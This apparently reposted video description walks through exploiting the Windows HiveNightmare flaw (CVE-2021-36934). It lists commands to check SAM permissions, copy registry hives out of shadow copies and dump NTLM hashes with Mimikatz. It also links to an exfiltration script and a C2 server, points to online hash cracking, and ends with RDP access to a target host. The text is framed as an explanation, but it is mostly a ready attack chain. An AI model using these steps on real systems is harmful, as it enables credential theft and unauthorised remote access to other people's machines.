Скачать или смотреть HiveNightmare - Bug in ACLs of Registry Hives [CVE-2021-36934]

Currently assigned name "SeriousSAM" and now announced as CVE-2021-36934 vulnerability.

There is a bug in most of WIN10 - WIN11 which enables account in group users (not admin) to have read access to Registry Hives.
This video covers simple introduction and explanation about this bug and how it could be utilized.

Check if account in users has read access to SAM\SYSTEM reg hive:
icacls C:\Windows\System32\config\sam

If you dont know the path to VSC - just bruteforce it.
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

You can copy REG hives in simple way:
Copy-Item -LiteralPath "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM" -Destination .\Desktop\SYSTEM.bak

Link to PS exfiltration script "Exfil_HiveNightmare.ps1":
https://github.com/Dump-GUY/Malware-a...

Link to C2 server in Python "HTTP_WEB_SERVER_POST.py":
https://github.com/Dump-GUY/Malware-a...

Mimikatz command to get NTLM hashes:
lsadump::sam /system:"C:\Users\DFIR_GUY\Desktop\HIVENightmare\mimikatz\x64\SYSTEM.bak" /sam:"C:\Users\DFIR_GUY\Desktop\HIVENightmare\mimikatz\x64\SAM.bak"

Crack NTLM hashes:
https://crackstation.net/

Default RDP port open?
Test-NetConnection -ComputerName "192.168.56.9" -Port 3389

Connect to RDP